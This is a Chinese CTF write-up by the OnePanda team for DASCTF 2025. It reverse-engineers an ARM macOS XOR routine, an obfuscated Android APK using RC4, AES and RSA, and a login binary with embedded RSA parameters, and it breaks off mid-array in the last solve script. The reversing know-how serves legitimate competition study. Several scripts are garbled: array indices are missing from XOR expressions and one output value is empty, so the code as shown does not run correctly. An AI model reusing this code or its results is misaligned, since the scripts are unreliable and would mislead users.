材部 发表于 7 天前

DASCTF 2025下半年赛 OnePanda战队WP

https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160525938-431550047.png

REVERSE

ezmac

https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160526466-905521804.png
IDA打开找到加密的主要部分
__int64 __fastcall sub_100000634(_QWORD a1, _QWORD a2, _QWORD a3, _QWORD a4, _QWORD a5, __int64 n57){unsigned __int8 *v6; // x21char v7; // w3unsigned __int8 *v8; // x21int v9; // t1unsigned __int8 v11; // w3unsigned __int8 *v12; // x21while ( 1 ){    v9 = *v6;    v8 = v6 + 1;    v7 = v9;    if ( !v9 )      break;    v11 = v7 ^ n57;    LOBYTE(n57) = n57 + 1;    v12 = v8 - 1;    *v12 = v11;    v6 = v12 + 1;}return sub_100000654();}简单的加密逻辑可以写脚本了
# 密文数据(十六进制)ciphertext = [    0x7D, 0x7B, 0x68, 0x7F, 0x69, 0x78, 0x44, 0x78, 0x72, 0x21, 0x74, 0x76,    0x75, 0x22, 0x26, 0x7B, 0x7C, 0x7E, 0x78, 0x7A, 0x2E, 0x2D, 0x7F, 0x2D]# 起始密钥key = 57# 解密每个字节flag_chars = []for i, byte in enumerate(ciphertext):    # 使用当前密钥进行XOR解密    decrypted = byte ^ (key + i)    flag_chars.append(chr(decrypted))# 组合成字符串flag = ''.join(flag_chars)print(f"Flag: {flag}")Flag: DASCTF{83c720da35436cc0}
Androidfile

下载附件打开找到mainactivity
package com.dasctf.androidfile;import B.h;import R0.c;import android.content.res.Resources;import android.os.Build;import android.os.Bundle;import android.util.Base64;import android.view.View;import android.view.Window;import android.widget.Button;import android.widget.TextView;import androidx.activity.J;import androidx.activity.K;import androidx.activity.p;import androidx.activity.w;import c0.C0121a;import f.AbstractActivityC0139h;import f.C0138g;import i0.ViewOnClickListenerC0168a;import java.security.KeyFactory;import java.security.PublicKey;import java.security.spec.X509EncodedKeySpec;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;/* loaded from: classes.dex */public class MainActivity extends AbstractActivityC0139h {    /* renamed from: A, reason: collision with root package name */    public TextView f1684A;    /* renamed from: y, reason: collision with root package name */    public Button f1685y;    /* renamed from: z, reason: collision with root package name */    public TextView f1686z;    static {      System.loadLibrary(w.i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));    }    public MainActivity() {      this.f739d.f1683b.f("androidx:appcompat", new C0121a(this));      i(new C0138g(this));    }    public static String A() {      String i2 = w.i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n");      StringBuffer stringBuffer = new StringBuffer();      Random random = new Random();      for (int i3 = 0; i3 < 16; i3++) {            stringBuffer.append(i2.charAt(random.nextInt(i2.length())));      }      return stringBuffer.toString();    }    public static String C(String str, String str2, String str3) {      byte[] bytes = str2.getBytes();      byte[] bytes2 = str3.getBytes();      SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, w.i("Udks\n", "EJx/huJaZmg=\n"));      IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);      Cipher cipher = Cipher.getInstance(w.i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n"));      cipher.init(1, secretKeySpec, ivParameterSpec);      return Base64.encodeToString(cipher.doFinal(str.getBytes(w.i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0);    }    public static String D(String str) {      byte[] bytes = str.getBytes();      PublicKey generatePublic = KeyFactory.getInstance(w.i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(w.i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0)));      Cipher cipher = Cipher.getInstance(w.i("sSby\n", "43WztTWiQRk=\n"));      cipher.init(1, generatePublic);      return Base64.encodeToString(cipher.doFinal(bytes), 0);    }    /* JADX INFO: Access modifiers changed from: private */    public native String a_p(String str);    /* JADX WARN: Multi-variable type inference failed */    /* JADX WARN: Type inference failed for: r10v10, types: */    /* JADX WARN: Type inference failed for: r10v24 */    /* JADX WARN: Type inference failed for: r10v25 */    /* JADX WARN: Type inference failed for: r10v26 */    /* JADX WARN: Type inference failed for: r10v27 */    /* JADX WARN: Type inference failed for: r10v28 */    @Override // f.AbstractActivityC0139h, androidx.activity.n, y.f, android.app.Activity    public final void onCreate(Bundle bundle) {      h hVar;      super.onCreate(bundle);      int i2 = p.f753a;      J j2 = J.f705a;      K k2 = new K(0, 0, j2);      K k3 = new K(p.f753a, p.f754b, j2);      View decorView = getWindow().getDecorView();      c.d(decorView, "window.decorView");      Resources resources = decorView.getResources();      c.d(resources, "view.resources");      boolean booleanValue = ((Boolean) j2.b(resources)).booleanValue();      Resources resources2 = decorView.getResources();      c.d(resources2, "view.resources");      boolean booleanValue2 = ((Boolean) j2.b(resources2)).booleanValue();      int i3 = Build.VERSION.SDK_INT;      if (i3 >= 30) {            hVar = new Object();      } else if (i3 >= 29) {            hVar = new Object();      } else if (i3 >= 28) {            hVar = new Object();      } else if (i3 >= 26) {            hVar = new Object();      } else {            hVar = new Object();      }      Window window = getWindow();      c.d(window, "window");      hVar.C0(k2, k3, window, decorView, booleanValue, booleanValue2);      Window window2 = getWindow();      c.d(window2, "window");      hVar.d(window2);      setContentView(R.layout.activity_main);      this.f1685y = (Button) findViewById(R.id.mybutton1);      this.f1686z = (TextView) findViewById(R.id.edit_text_1);      this.f1684A = (TextView) findViewById(R.id.edit_text_2);      String i4 = w.i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n");      w.i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n");      this.f1685y.setOnClickListener(new ViewOnClickListenerC0168a(this, A(), i4, A()));    }}可以看到是有混淆的用jadx自带的去混淆功能
去混淆后是
package com.dasctf.androidfile;import android.content.res.Resources;import android.os.Build;import android.os.Bundle;import android.util.Base64;import android.view.View;import android.view.Window;import android.widget.Button;import android.widget.TextView;import androidx.activity.AbstractC0426p;import androidx.activity.AbstractC0433w;import androidx.activity.C0409J;import androidx.activity.C0410K;import java.security.KeyFactory;import java.security.PublicKey;import java.security.spec.X509EncodedKeySpec;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import p002B.AbstractC0027h;import p033R0.AbstractC0330c;import p053c0.C0618a;import p057f.AbstractActivityC0681h;import p057f.C0680g;import p062i0.ViewOnClickListenerC0766a;/* loaded from: classes.dex */public class MainActivity extends AbstractActivityC0681h {    /* renamed from: A */    public TextView f2053A;    /* renamed from: y */    public Button f2054y;    /* renamed from: z */    public TextView f2055z;    static {      System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));    }    public MainActivity() {      this.f921d.f2051b.m1674f("androidx:appcompat", new C0618a(this));      m960i(new C0680g(this));    }    /* renamed from: A */    public static String m1679A() {      String m986i = AbstractC0433w.m986i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n");      StringBuffer stringBuffer = new StringBuffer();      Random random = new Random();      for (int i2 = 0; i2 < 16; i2++) {            stringBuffer.append(m986i.charAt(random.nextInt(m986i.length())));      }      return stringBuffer.toString();    }    /* renamed from: C */    public static String m1681C(String str, String str2, String str3) {      byte[] bytes = str2.getBytes();      byte[] bytes2 = str3.getBytes();      SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, AbstractC0433w.m986i("Udks\n", "EJx/huJaZmg=\n"));      IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);      Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n"));      cipher.init(1, secretKeySpec, ivParameterSpec);      return Base64.encodeToString(cipher.doFinal(str.getBytes(AbstractC0433w.m986i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0);    }    /* renamed from: D */    public static String m1682D(String str) {      byte[] bytes = str.getBytes();      PublicKey generatePublic = KeyFactory.getInstance(AbstractC0433w.m986i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(AbstractC0433w.m986i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0)));      Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("sSby\n", "43WztTWiQRk=\n"));      cipher.init(1, generatePublic);      return Base64.encodeToString(cipher.doFinal(bytes), 0);    }    /* JADX INFO: Access modifiers changed from: private */    public native String a_p(String str);    /* JADX WARN: Multi-variable type inference failed */    /* JADX WARN: Type inference failed for: r10v10, types: */    /* JADX WARN: Type inference failed for: r10v24 */    /* JADX WARN: Type inference failed for: r10v25 */    /* JADX WARN: Type inference failed for: r10v26 */    /* JADX WARN: Type inference failed for: r10v27 */    /* JADX WARN: Type inference failed for: r10v28 */    @Override // p057f.AbstractActivityC0681h, androidx.activity.AbstractActivityC0424n, p092y.AbstractActivityC1040f, android.app.Activity    public final void onCreate(Bundle bundle) {      AbstractC0027h abstractC0027h;      super.onCreate(bundle);      int i2 = AbstractC0426p.f938a;      C0409J c0409j = C0409J.f881a;      C0410K c0410k = new C0410K(0, 0, c0409j);      C0410K c0410k2 = new C0410K(AbstractC0426p.f938a, AbstractC0426p.f939b, c0409j);      View decorView = getWindow().getDecorView();      AbstractC0330c.m874d(decorView, "window.decorView");      Resources resources = decorView.getResources();      AbstractC0330c.m874d(resources, "view.resources");      boolean booleanValue = ((Boolean) c0409j.mo844b(resources)).booleanValue();      Resources resources2 = decorView.getResources();      AbstractC0330c.m874d(resources2, "view.resources");      boolean booleanValue2 = ((Boolean) c0409j.mo844b(resources2)).booleanValue();      int i3 = Build.VERSION.SDK_INT;      if (i3 >= 30) {            abstractC0027h = new Object();      } else if (i3 >= 29) {            abstractC0027h = new Object();      } else if (i3 >= 28) {            abstractC0027h = new Object();      } else if (i3 >= 26) {            abstractC0027h = new Object();      } else {            abstractC0027h = new Object();      }      Window window = getWindow();      AbstractC0330c.m874d(window, "window");      abstractC0027h.mo155C0(c0410k, c0410k2, window, decorView, booleanValue, booleanValue2);      Window window2 = getWindow();      AbstractC0330c.m874d(window2, "window");      abstractC0027h.mo177d(window2);      setContentView(R.layout.activity_main);      this.f2054y = (Button) findViewById(R.id.mybutton1);      this.f2055z = (TextView) findViewById(R.id.edit_text_1);      this.f2053A = (TextView) findViewById(R.id.edit_text_2);      String m986i = AbstractC0433w.m986i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n");      AbstractC0433w.m986i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n");      this.f2054y.setOnClickListener(new ViewOnClickListenerC0766a(this, m1679A(), m986i, m1679A()));    }}那么看到关键的是方法m986i和ViewOnClickListenerC0766a
打开看看分别是
   public static String m986i(String str, String str2) {      byte[] m2057a = AbstractC0798a.m2057a(str);      byte[] m2057a2 = AbstractC0798a.m2057a(str2);      int length = m2057a.length;      int length2 = m2057a2.length;      int i2 = 0;      int i3 = 0;      while (i2 < length) {            if (i3 >= length2) {                i3 = 0;            }            m2057a = (byte) (m2057a ^ m2057a2);            i2++;            i3++;      }      return new String(m2057a, StandardCharsets.UTF_8);m986i主要就是把两个base64的参数进行异或可以分别异或得到相应的内容.会发现是 System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));加载native代码的地方打开看看
__int64 __fastcall Java_com_dasctf_androidfile_MainActivity_a_1p(__int64 a1, __int64 a2, __int64 a3){unsigned __int64 n256; // r15const char *s; // r14size_t v6; // rcxunsigned __int64 v7; // rsi__int64 n256_1; // raxsigned int v9; // edxint v10; // esiint v11; // edxint v12; // ediint v13; // r8dint v14; // edxsigned int v15; // eax__int64 v16; // rdxunsigned __int8 v17; // siint v18; // r8dchar v19; // r8int v20; // eax__int64 v21; // rax_QWORD v24; // BYREF_OWORD v25; // BYREFunsigned __int64 v26; // v26 = __readfsqword(0x28u);v24 = 'ESREVER';n256 = 0;s = (*(*a1 + 1352LL))(a1, a3, 0);v6 = strlen(s);memset(v25, 0, sizeof(v25));v7 = 1;do{    *(&v24 + n256) = n256;    *(v25 + n256) = *(v24 + n256 + -7 * (n256 / 7));    *(&v24 + n256 + 1) = n256 + 1;    *(v25 + n256 + 1) = *(v24 + n256 + -7 * (v7 / 7) + 1);    v7 += 2LL;    n256 += 2LL;}while ( n256 != 256 );n256_1 = 0;v9 = 0;do{    v10 = *(&v24 + n256_1);    v11 = v10 + v9;    v12 = *(v25 + n256_1);    v13 = v12 + v11 + 255;    v14 = v12 + v11;    if ( v14 >= 0 )      v13 = v14;    v9 = v14 - (v13 & 0xFFFFFF00);    *(&v24 + n256_1) = *(&v24 + v9);    *(&v24 + v9) = v10;    ++n256_1;}while ( n256_1 != 256 );if ( v6 ){    v15 = 0;    v16 = 0;    v17 = 0;    do    {      v18 = v15 + 256;      if ( v15 + 1 >= 0 )      v18 = v15 + 1;      v15 = v15 - (v18 & 0xFFFFFF00) + 1;      v19 = *(&v24 + v15);      v17 += v19;      *(&v24 + v15) = *(&v24 + v17);      *(&v24 + v17) = v19;      s ^= *(&v24 + (*(&v24 + v15) + v19));    }    while ( v6 != v16 );}v20 = strlen(s);v21 = base64_encode(s, v20);return (*(*a1 + 1336LL))(a1, v21, __readfsqword(0x28u));}很简单的逻辑经过标准RC4和BASE64的加密逻辑,RC4的密钥是REVERSE
package p062i0;import android.util.Log;import android.view.View;import android.widget.TextView;import android.widget.Toast;import androidx.activity.AbstractC0433w;import com.dasctf.androidfile.MainActivity;/* renamed from: i0.a *//* loaded from: classes.dex */public final class ViewOnClickListenerC0766a implements View.OnClickListener {    /* renamed from: a */    public final /* synthetic */ String f2939a;    /* renamed from: b */    public final /* synthetic */ String f2940b;    /* renamed from: c */    public final /* synthetic */ MainActivity f2941c;    public ViewOnClickListenerC0766a(MainActivity mainActivity, String str, String str2, String str3) {      this.f2941c = mainActivity;      this.f2939a = str;      this.f2940b = str3;    }    @Override // android.view.View.OnClickListener    public final void onClick(View view) {      String a_p;      String str = this.f2940b;      String str2 = this.f2939a;      MainActivity mainActivity = this.f2941c;      String charSequence = mainActivity.f2055z.getText().toString();      if (charSequence.length() != 40) {            Toast.makeText(mainActivity, AbstractC0433w.m986i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n"), 1).show();            return;      }      try {            String str3 = AbstractC0433w.m986i("WpRWV0c7\n", "P/o9Mj5kh8w=\n") + MainActivity.m1682D(str2) + AbstractC0433w.m986i("apcRF1g=\n", "D/l4YQdZTS4=\n") + MainActivity.m1682D(str);            String m1681C = MainActivity.m1681C(charSequence, str2, str);            TextView textView = mainActivity.f2053A;            StringBuilder sb = new StringBuilder();            a_p = mainActivity.a_p(str3);            sb.append(a_p);            sb.append(AbstractC0433w.m986i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n"));            sb.append(m1681C);            textView.setText(sb.toString());      } catch (Exception unused) {            Log.i(AbstractC0433w.m986i("Pea57E0g2gg0+bHuTA==\n", "UJ/YgilStWE=\n"), AbstractC0433w.m986i("Rb1FBTs=\n", "IM83akkWYKo=\n"));      }    }}如图的逻辑.
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160526830-746655508.png
写脚本把异或的恢复
import base64def w_i(s1: str, s2: str) -> str:    """实现w.i()方法:两个base64字符串解码后循环异或"""    # 清理字符串,移除换行符和空格    s1 = ''.join(s1.split())    s2 = ''.join(s2.split())      # Base64解码    try:      b1 = base64.b64decode(s1)      b2 = base64.b64decode(s2)    except Exception as e:      return f"Base64解码错误: {e}"      # 循环异或    result = bytearray()    for i in range(len(b1)):      result.append(b1 ^ b2)      # 尝试解码为UTF-8字符串    try:      return result.decode('utf-8')    except UnicodeDecodeError:      # 如果是二进制数据,以十六进制显示      return f""# 测试字符集字符串的解密print("=== 测试字符集解密 ===")charset_result = w_i(    "EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n",    "IATjcvz4GKg=\n")print(f"字符集解密结果: {charset_result}")print(f"字符集长度: {len(charset_result)}")print("\n=== 解密其他字符串 ===")# 1. 库名lib_result = w_i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n")print(f"1. 库名: {lib_result}")# 2. URL部分url1 = w_i("WpRWV0c7\n", "P/o9Mj5kh8w=\n")url2 = w_i("apcRF1g=\n", "D/l4YQdZTS4=\n")print(f"2. URL第一部分: '{url1}'")print(f"3. URL第二部分: '{url2}'")# 3. 固定后缀suffix = w_i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n")print(f"4. 固定后缀: '{suffix}'")# 4. Toast消息toast = w_i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n")print(f"5. Toast消息: '{toast}'")# 5. i4字符串i4_result = w_i(    "ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zjgm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCHKzBPPuqOaJMDOU8akvA=",    "KeRGeA5Lr80=")print(f"6. i4字符串: {i4_result}")# 6. 长字符串long_result = w_i(    "r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SFUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYOesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjrAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8aIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZReneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4eaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNjsVkU2g==",    "4iEgikATCzE=")print(f"7. 长字符串: {long_result[:200]}...")得到的信息:

[*]库名: androidfile
[*]URL第一部分: 'enkey_'
[*]URL第二部分: 'eniv_'
[*]固定后缀: ''
[*]Toast消息: 'length error'
附件就是密文了,并且encryptinpu就是需要的密文,那么前面的就应该是AES的iv和key
接下来就是解密了.
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160527278-1159540728.png
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160528097-119743767.png
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160528610-1047595217.png
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160529103-873909309.png
得到结果.
login

IDA打开可以看到
有一个使用RC4加密所有网络数据,密钥为qwertyui
sub_5302是响应的函数
主要的加密位置
其中的参数已经在注释了.
            _d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec2631027 = sub_5042(                                                                                  *&off_90A0,// "9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3"                                                                                  *&off_90A8,// "10001"                                                                                  *&off_90B0,// "b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f"                                                                                  *&off_90B8,// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"                                                                                  *&off_90C0,// "0"                                                                                  s_,                                                                                  ptr);// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"            那就直接解RSA其中
公钥n = 9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3e = 10001私钥的参数p = b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667fq = d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad然后在   sub_49DD(s__2, 42, s__1, s_, p_req_login...);中的函数往下找下去可以找到AES的相关账号的登录参数
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160529463-1663739761.png
from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEP, AESn = int("9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3", 16)e = 0x10001d = int("28c7df24a5798679db2a44979275f5f3179db180d91335702942fb1b70e985de825da90f2eb65d20ddf8be1d9d4e15bc1d84e95795ff8c0c28ce3c33fde054f6e82a4f4cc22597b350c9c62ccc0188bd4152a701a3601558f22aa9fae8b9fdac6c2bc09b1637f71e0511805e04b203c4fdb2b36ad232fe819b06ed4e57c74f39fd9b72623c16ff2100f148f622bf12876260c4859672360dc0da3da6b45c5c8c6215ccda072765840c213fba11a91d6bf598a8a8065797566c8950a34ea0a072a9ed0c38bdc58662f186ec578ca55d5098443fd566cc722ace9c4e89afc4e302c8a4870e11a003b935f4a102695bfd64bb0fa74dcc372682e2b24ff45a1a69", 16)p = int("b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f", 16)q = int("d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad", 16)byte_C1A0 = bytes([    0x16, 0x38, 0xE0, 0xEB, 0x93, 0x61, 0x40, 0xB5, 0x52, 0x70,    0x33, 0x29, 0x2C, 0xBE, 0xFC, 0xD7, 0x3B, 0x55, 0xCF, 0xC7,    0xFB, 0x79, 0xDF, 0x51, 0xAE, 0x37, 0x68, 0xA0, 0xDD, 0x9C,    0x84, 0xAE, 0x45, 0x80, 0xE4, 0x7A, 0x51, 0x33, 0xB4, 0x25,    0xF4, 0xC9, 0x3E, 0xAC, 0x97, 0xE4, 0xB1, 0xAA, 0x0B, 0x4C,    0xD3, 0x05, 0x89, 0xD0, 0x04, 